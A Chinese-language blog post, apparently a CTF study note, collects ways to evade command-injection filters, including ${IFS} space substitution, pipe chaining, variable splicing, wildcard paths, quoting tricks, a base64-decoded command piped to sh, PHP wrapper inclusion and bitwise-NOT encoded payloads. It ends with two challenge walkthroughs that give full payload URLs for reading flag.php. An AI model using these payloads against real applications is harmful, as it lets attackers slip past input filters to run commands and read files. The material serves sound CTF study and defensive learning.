关于命令执行绕过的一些总结

关于命令执行绕过的一些总结

八月 22, 2021

空格过滤

${IFS}

形式:

1
${IFS}、${IFS}$、$IFS$加数字($IFS$1)、${IFS

重定向符(<>)

形式:

<>、<

%09(需要php环境)(tab键)

管道符绕过

  • |直接执行后面的语句

  • ||:具有短路效果,左边是true,右边不执行。

  • &:无论左边是false还是true,&前面和后面命令都要执行

  • &&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

  • Linux下多了一个;管道符,作用和&一样.

命令执行变量拼接

1
2
root@kali:~# a=c;b=at;c=fl;d=ag;$a$b $c$d
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

base64编码(无字母rce)

我们就可以通过通配符进行匹配命令执行查看flag.php

payload:?c=/???/????64 ????.???

意思是 /bin/base64 flag.php

bzip2的使用

bzip2是linux下面的压缩文件的命令

我们可以通过该命令压缩flag.php 然后进行下载

payload:?c=/???/???/????2 ????.???

也就是/usr/bin/bzip2 flag.php

单引号、双引号绕过

1
root@kali:~# c""at fl''ag

反斜线

1
root@kali:~# c\at fl\ag

cat绕过

当cat 被过滤时,可以使用如下命令代替:

内敛执行绕过

反引号 和 $(命令)都是执行命令的方式

1
2
?ip=127.0.0.1;cat$IFS$9`ls`
?c=echo `cat f*`;

通配符绕过

?字符代表单个字符;

如果要匹配多个字符,就需要多个?连用。

?不能匹配空字符,也就是说它占据的位置必须要有字符存在。

?c=system(‘cat f‘);*

/bin/cat /bin/是一个目录

*代表任意数量的字符,可以匹配空字符。

? 通配符匹配文件名中的 0 个或 1 个字符,而 ***** 通配符匹配零个或多个字符。

过滤bash用sh执行

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh    //1Y2F0IGZsYWcucGhw->cat flag.php

利用文件包含绕过(无法使用反引号时可以考虑)

1
2
3
4
5
6
7
get:

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

post:

?c=include$_POST["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

伪协议绕过

1
payload c=data:text/plain,<?php system('cat f*')?>

异或 取反

https://xiaofeiji-77.github.io/2021/08/22/%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97RCE%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

例子

代码执行 ctfhub hate-php(取反)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

error_reporting(0);

if(!isset($_GET['code'])){

highlight_file(__FILE__);

}else{

$code = $_GET['code'];

if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {

die('You are too good for me');

}

$blacklist = get_defined_functions()['internal'];

foreach ($blacklist as $blackitem) {

if (preg_match ('/' . $blackitem . '/im', $code)) {

die('You deserve better');

​ }

}

assert($code);

}
?>

代码分析:preg_match过滤了flag ph等关键字包括一些符号,get_defined_functions()函数的意思就是将里面的函数都过滤掉了,assert()将字符串当做PHP代码执行。

  • 因此题目的关键在于:过滤了关键字和符号,并且过滤了函数,可以利用的点就是通过assert函数读取命令。采用取反绕过。

取反:https://www.cnblogs.com/v01cano/p/11736722.html

尝试使用**print_r(scandir(‘.’))**命令读取当前目录的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//生成代码
<?php

echo urlencode(~'print_r');

echo "\n";

echo urlencode(~'scandir');

echo"\n";

echo urlencode(~'.');

echo "\n";

?>

要在该加括号的地方对应加上括号:

1
/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

再使用同样的方法编码获取flag,因为highlight_file()函数也被过滤掉了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//生成代码

<?php

echo urlencode(~'highlight_file');

echo "\n";

echo urlencode(~'flag.php');

echo"\n";

?>

//payload=
/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

提交得到flag。

命令执行:buuctf- ping ping ping(空格过滤,变量拼接)

https://www.cnblogs.com/wangtanzhi/p/12246386.html

  • 打开页面只有一个?ip=的提示,看到ip想到命令执行,尝试传递参数:?ip=127.0.0.1

发现有返回结果:

修改大小写发现操作系统为Linux,

  • 直接使用管道符进行目录查询:

?ip=127.0.0.1| ls

  • 发现提示过滤了空格,
1
2
3
4
5
6
7
8
空格过滤的绕过方式:

1${IFS}
$IFS$数字
${IFS
%20
<和<>
%09
  • 逐个进行尝试:
1
2
3
发现第二个$IFS$加数字可以绕过:

/?ip=127.0.0.1|$IFS$1ls

  • 读取flag.php,发现flag被过滤了,尝试使用变量拼接
1
?ip=127.0.0.1|a=g;cat$IFS$1fla$a.php
  • 发现没有返回,换一个管道符就可以了:
1
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

文章参考

https://www.cnblogs.com/iloveacm/p/13687654.html

CTF 命令执行 - Jim_2g - 博客园 (cnblogs.com)

https://www.cnblogs.com/wangtanzhi/p/12246386.html

命令执行漏洞各种绕过方式_m0re’s blog-CSDN博客_命令执行漏洞绕过